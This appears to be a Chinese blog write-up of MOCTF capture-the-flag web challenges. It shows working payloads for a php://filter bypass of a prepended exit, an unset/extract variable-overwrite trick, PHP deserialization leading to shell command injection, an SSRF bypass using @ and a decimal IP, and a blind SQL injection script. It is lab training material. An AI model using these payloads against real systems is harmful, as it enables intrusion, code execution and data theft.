最近几天做了Moctf上的几道题,还是比较涨姿势的,这里做个记录小小的记录.
<!--more-->
死亡退出
源码当中预定义了一个字符串c为
<?php exit;?>
有关思考方向
而后面的代码主要就是接收POST传进来file值,并作判断,我们是否传入了file的值,并且如果我们传入了file,则将tmp.php中的内容设置为空,或者直接创建一个tmp.php的文件,最后再将之前预定义的字符串C和我们传入的参数连接起来,最后将其包含,很明显的是要通过写入tmp.php去读取一些Php代码去读取flag,或者执行.而由于C已经预定义了一个退出的Php代码,因此整体思路便是如何绕过这串玩意儿,
<?php exit;?>
这里主要参考了P神的文章php://filter的妙用
这是官方对于filter伪协议的说明:
我们主要是利用第二个POST进来的可控参数file来进行过滤掉死亡退出,由于file参数会被用在file_put_contents()里面,这个函数和file_get_contents()函数一样,我们知道这两个函数是可以使用PHP伪协议的.
而文章针对可以使用伪协议这点,提供了三种不同的绕过姿势,分别是XXE,巧用编码以及字符串操作,这里P神主要利用了base64算法问题,所以我也跟着大神的思路来讲讲吧.
有关利用
首先base64编码的主要是可打印的64个字符,其中'<',';','>'和'?'均不在里面,也就是说进行base64编码时,只会编码那64个可见字符,用正则表达式来表示就是"1",所以自然的出现其他字符的时候,base64会将其忽略,因此如果将死亡退出,进行base64解码,实际传入的只有'phpexit'被解码后的字符,因为其他字符被忽略剔除掉了,但是base64是以四个为一组进行解码的,这里只有7个字符,因此为了后面我们传入的恶意base64编码不受影响,我们需要多添加一个任意字符,来将前面凑成两组,保证payload的完整性.
<?php exit;?>---------->phpexit
所以这时原来的php代码被转换为了文本内容,Php格式被破坏了,自然就会读取我们后面传入的恶意代码了.
具体利用过程如下图:
这里的任意字符是'b'
读本目录下的所有文件:
读flag文件:
成功得到flag了
PS:这里原本写成功了,但我没有发现,就不小心把flag.php覆盖成了最后读flag的代码,最后还是从网上找到flag,给人家写回去了,爱护靶场,人人有责(^_^)
番外:那么字符操作呢?
说干就干!
进行字符串操作过滤掉死亡退出的关键在于,filter伪协议是支持我们使用多种过滤方法的,因此我们可以先将恶意代码进行base64编码,(这里主要是为了防止strip_tags去标签的时候波及恶意代码)最后先将标签去掉,我们实际上是将下面
<?php XXXXXXX ?> <------> <?xml XXXXXX ?>
看作了xml标签,strip_tags主要去掉的是'<'?[中间的空格]?'>'(这一堆),最后剩的还是phpexit,因此还需要添加一个任意字符构成两组,用去base64解码,最后payload可以改成:
c=bPD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=&file=php://filter/write=string.string_tags|convert.base64-decode/resource=tmp.php
火眼金睛
这道题非常简单要求我们查找他给的一大串字符里面moctf出现的次数,直接上python脚本搞定
脚本如下:
import requests as r
import re
url="https://119.23.73.3:5001/web10/"
temp=r.session()
html=temp.get(url)
string=html.text
stringfile=re.findall(">(.*?)</textarea>",string)[0]
print(stringfile)
number=stringfile.count("moctf")
print(number)
ans={"answer":number}
url2="https://119.23.73.3:5001/web10/work.php"
s=temp.post(url=url2,data=ans)
print(s.text)
直接跑就出结果了
Unset
先看源码:
先来了解一下unset()函数的用处,也就是销毁这个变量的存在,但如果销毁的是全局变量只会销毁,使用全局变量的局部变量的值,官方手册是这样解释的.
知道了这个我们再来看看源码的意思,首先定义了一个waf函数,主要用于过滤是否有flag这个字符串的问题(不区别大小写的过滤)问题,也就意味首先传入字符是受限的.接着往下看有两个foreach循环,foreach是将字符串赋给$_R,这个时候$_R的值在每次循环开始时,分别为"_POST","_GET","COOKIE",运行效果为:
<?php
foreach(array('_POST', '_GET', '_COOKIE') as $__R){
var_dump($__R);
}
?>
//string(5) "_POST",string(4) "_GET",string(7) "_COOKIE"
后面又存在了一个变量覆盖的问题,当$_R是前面这些值的时候,$$_R等价于$_POST,$_GET,$COOKIE,这时候这个foreach循环起作用了,是将$_GET等全局变量数组转换为键值对,然后比较$($_k)是否等于$_v;下面举个例子,如果我们用GET只传入foo=foo则判断过程如下:
当$_R="_GET"时
$$_R等价于$_GET
经过第二个循环变成了,将$_GET数组的值取出,转换为键值对,然后
$_k=foo,$_v=foo---->接着再判断$($_k)是否存在,如果不存在则直接跳过后面的unset()注销,这里我们分析可得$$_k等价于$foo,$foo默认没有赋值的情况下是为null,也就是不存在,则会直接跳过这个注销过程.
接着我们再往下看,随后便会对传入的三个参数进行过滤,然后利用extract()进行(键名=>键名对应的值)变量注册,然后第二个参数是指如果变量已存在,则跳过执行.随后就是很简单的md5弱类型相等绕过了,最后会包含GET的file值,通过前面的过滤就可以猜测出,这里需要我们读flag.php,而include是支持php伪协议的.
整体代码的逻辑我们大致理清楚了,然后需要思考我们该怎么绕过waf这一步过滤,正如题目所说我们需要利用unset()函数,进行注销,这样变量变成了null,自然waf是不会过滤掉的,然后再利用extract函数进行变量值的回复,从而达到绕过的目的.
具体payload如下
GET:
?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php
POST:
_GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php
同时传给服务器,就能得到flag了
下面我们来分析一下为什么这样首先从传入数据的顺序来看,应该是先审查POST元素,因此我们就先看我们POST进来的过程会发生什么,
$_R="_POST"=>
$$_R=>$_POST
经过第二个foreach=>取出POST中的键值对(以_GET[flag]为例)
=>$_k="_GET[flag]",$_v="QNKCDZO"
接着判断$($_k)=$_GET[flag]<=这个我们通过get传了进来
因此判断isset()为真,这时候
$$_k=>$_GET[flag]="QNKCDZO"===$_v,
条件满足,调用unset()函数,$_GET[flag]变量被销毁,然后进入下一次循环;
下两次循环中$_GET中的所有变量值,以及在上一步"_POST"中被全部销毁了,
因此$GET实际上是一个空数组,
跳出循环之后,虽然$_POST里面的值没有被销毁,但是在进行waf()函数里的判断是,传入的实际上$_GET中的值,
因此这时的POST能够绕过waf校验(具体过程就和上面一样,被传入的是$_GET[flag]);
最后到了extrcat()这一步,虽然$_GET中的值已被全部销毁为null,但是$_POST中的值还在,经过extract()函数的变换,使得POST中的键值对被转化成了变量,也就是我们传入的值在$_GET中被全部复原,随后MD50e弱相等,绕过md5的校验,最后成功读到了flag.php.
PUBG
这道题不难,但是有点麻烦.
首先给了我们四个选项,我们随便点点看看,除了在学校的哪个,其余的都说我们已经GG了,所以我们先来看看学校这个会有啥吧.
我们可以发现这里的a标签指向了index文件的备份,我们下载下来读读,php源码如下:
<?php
error_reporting(0);
include 'class.php';
if(is_array($_GET)&&count($_GET)>0)
{
if(isset($_GET["LandIn"]))
{
$pos=$_GET["LandIn"];
}
if($pos==="airport")
{
die("<center>机场大仙太多,你被打死了~</center>");
}
elseif($pos==="school")
{
echo('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>');
$pubg=$_GET['pubg'];
$p = unserialize($pubg);
// $p->Get_air_drops($p->weapon,$p->bag);
}
elseif($pos==="AFK")
{
die("<center>由于你长时间没动,掉到海里淹死了~</center");
}
else
{
die("<center>You Lose</center>");
}
}
?>
可以看到我们选择学校的时候,这里会检测我们输入的pubg参数,并进行反序列化操作,这里很显然是一个Php反序列化漏洞,后面紧跟的注释也说明,这个反序列化的类里面有weapon,bag两个属性,同时还有一个Get_air_drops()的函数,我们用之前读index相同的方法去读取包含进来的class.php,则源码如下图:
<?php
include 'waf.php';
class sheldon{
public $bag="nothing";
public $weapon="M24";
// public function __toString(){
// $this->str="You got the airdrop";
// return $this->str;
// }
public function __wakeup()
{
$this->bag="nothing";
$this->weapon="kar98K";
}
public function Get_air_drops($b)
{
$this->$b();
}
public function __call($method,$parameters)
{
$file = explode(".",$method);
//这里用.为分隔标志将$method分隔为数组
echo $file[0];
if(file_exists(".//class$file[0].php"))
{
system("php .//class//$method.php");
}
else
{
system("php .//class//win.php");
}
die();
}
public function nothing()
{
die("<center>You lose</center>");
}
public function __destruct()
{
waf($this->bag);
if($this->weapon==='AWM')
{
$this->Get_air_drops($this->bag);
}
else
{
die('<center>The Air Drop is empty,you lose~</center>');
}
}
}
?>
PS:有关explode的官方例子
阅读源码,然后进行分析,运用了三个魔术方法,_wakeup()是在反序列化之前调用,_destrcut()是在类中的属性全部使用完以后调用,_call()则是在外部试图调用不存在的函数时调用的,因此在这里执行顺序为_wakeup->_destruct->_call()
是这个执行顺序的原因在于,在index.php中先使用了unserialize(),即反序列化操作,再调用了Get_air_drops()方法,并且传入的是类中的两个属性,当属性值被传入时,也就意味着所有属性被引用完成,因此接下来会调用_destrcuct()方法,最后如果传入的是未定义函数则调用_call()方法,如果调用了_Wakeup()方法,则会调用nothing方法.最后我们可以看到_call()内部会使用system()函数,这也说明了我们必须调用_call()魔术方法来执行系统命令.
现在思路确定我们来看如何绕过的问题,我们从执行顺序开始,我们知道在解序列化的过程中如果属性的个数大于该类本身具有的属性时,会跳过_wakeup()的执行.紧接着会调用_destrcuct(),我们可以看到这里由于需要执行未定义的函数,Get_air_drops()是必须要执行的,因此weapon参数不可控,只能控制bag参数,这里也可以看见传入Get_air_drops()的是$bag,最终构造的类为:
<?php
class sheldon{
public $weapon="AWM";
public $bag="//win.php && cat waf.php && index";
public function Get_air_drops($b)
{
$this->$b();
}
}
$a=new sheldon();
$b=serialize($a);
echo $b."\n";
echo urlencode($b)//这里需要进行一次url编码,不然会命令注入失败
?>
这里利用了&&共同执行命令,前面的这样构造出的序列化字符串,注入后会将命令变为
system(php //win.php && cat waf.php && index.php)
序列化字符为:
O:7:"sheldon":3:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:33:"//win.php && cat waf.php && index";}
payload为:
O%3A7%3A%22sheldon%22%3A3%3A%7Bs%3A6%3A%22weapon%22%3Bs%3A3%3A%22AWM%22%3Bs%3A3%3A%22bag%22%3Bs%3A33%3A%22%2F%2Fwin.php+%26%26+cat+waf.php+%26%26+index%22%3B%7D//属性个数需要改为超过2的数字
执行结果为:
我们可以看见waf里面过滤了许多命令,其中ls被过滤掉了,但没有关系因为ls等价于l\s,顺便我们看看现在的路径在哪.
序列化字符为:
O:7:"sheldon":3:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:32:"//win.php && l\s && pwd && index";}
payload2为:
O:7:"sheldon":3:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:32:"//win.php && l\s && pwd && index";}-->(记得url编码)
执行结果为:
然后再找找flag在哪:
序列化字符为:
O:7:"sheldon":3:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:32:"//win.php && find class && index";}
payload3为:
O%3A7%3A%22sheldon%22%3A3%3A%7Bs%3A6%3A%22weapon%22%3Bs%3A3%3A%22AWM%22%3Bs%3A3%3A%22bag%22%3Bs%3A32%3A%22%2F%2Fwin.php+%26%26+find+class+%26%26+index%22%3B%7D
执行结果:
最后读取flag:
序列化字符为:
O:7:"sheldon":3:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:40:"//win.php && cat class/flag.php && index";}
payload4为:
O%3A7%3A%22sheldon%22%3A3%3A%7Bs%3A6%3A%22weapon%22%3Bs%3A3%3A%22AWM%22%3Bs%3A3%3A%22bag%22%3Bs%3A40%3A%22%2F%2Fwin.php+%26%26+cat+class%2Fflag.php+%26%26+index%22%3B%7D
执行结果为:
网站检测器
这道题你试着输入几个网站之后,就会发现要求必须是http协议,且域名只能是www.moctf.com,你输入之后,会出现moctf的页面,猜测后台使用了curl()函数,且用parse_url()进行解析,
有关parse_url()和curl()解析的问题,可以参考我之前写的博客:
hgameCTF-php-trick
这个时候curl()就会解析我们@后面的内容了,这个时候又会提示不允许'.'的出现,经过测试时由于后面的flag.php中含有'.'
payload1为:
url=http://www.moctf.com@127.0.00.1/flag.php //POST过去的
回显为:
这时候我们可以进行双重url编码绕过,因为浏览器传输数据时会自动做一次url解码,然后再来看回显
payload2:
url=https://www.moctf.com@127.0.0.1/%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30
然后提醒我们不允许出现127,后经测试localhost也不可以
这时候我们可以将ip地址,进行进制转化来绕过,可以使用在线工具进行转化
经过测试发现这几个ip地址,只有十进制那个可以被识别,具体原理不太清楚,所以最后的payload为:
url=https://www.moctf.com@2130706433/%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30
简单注入
这大概是这个平台唯一一个还可以动手的300分的题吧,其余几个等再强一点,再来补吧,这道题点进去,就只有一个欢迎界面什么都没有,按照常规步骤,先看看F12有啥吧,这里提示我们使用id参数,进入url里面查询id=1返回了Hello,
挨着挨着往后看,发现id=4已经没有数据了,但id=3有个小提示\
这里告诉我们表名超过20个字符(天秀....)
题目已经告诉我们这里是一个简单注入,我们首先需要搞清楚,是用什么方法闭合参数,这里先测试了一下利用and 1=1和and 1=2的回显来判断,然而似乎触发了waf
我们用Burpsuite简单的用一个字典爆破一下,看看有哪些字符会触发waf,如下图:
我们注意到'or'和' '(空格)都没有,但'and'和'(',')'还可以使用,也通过爆破大致判断出来该参数注入类型为字符型,因为直接加入字符是不会返回false的空白界面,下面这两个字符分别返回了空白界面
也就是说注入这两个字符报错了,其中一个字符还是单引号,基本肯定是单引号型的字符注入了,最后用and '1'='1来验证一下吧,空格可以用括号来进行替换.
两者返回不同,可以判断是字符型的注入,由于无回显,是属于盲注,因此开始搞脚本.
import string
import requests as r
string1=string.ascii_lowercase+string.digits+"+-*/=!@#$%^&*()_|\][{}\'\",."
num=len(string1)
flag=""
#payload1="1'and(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{0},1))='{1}"
#payload2="1'and(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=database()),{0},1))='{1}"
#payload3="1'and(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1))='{1}"//会出错因为flag有几个是大写的
url="http://119.23.73.3:5004/?id="
'''for i in range(50):
for x in range(num):
key=url+payload3.format(str(i),string1)
html=r.get(key)
if "Hello" in html.text:
print("[*]Get one char!====>",end=" ")
flag+=string1
print(flag)'''
payload4="1'^(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),{0},1))={1})^'1"
for i in range(55):
for x in range(30,130):
key = url + payload4.format(str(i), str(x))
html=r.get(key)
if "Hello" in html.text:
print("[*]Get one char!====>", end=" ")
flag += chr(x)
print(flag)
前面那坨是跑列名表名时候用的脚本,不知道为什么总会多出两个脚本,而且用前面的脚本跑出来的flag不对,因为第一遍跑的时候,原本是加入了大写字符的,但是跑的时候大写小写均判断为正确,所以去掉了大写字符,但是最后flag又是包含大写字符....,因此前面那坨不适合用来跑flag.而且最后用异或的方法跑的时候,总会多出来的两个字符也消失了,我............
大概跑出来就是这样的
还剩下最后的两道题,等以后再补吧.....
- a-zA-Z+/ ↩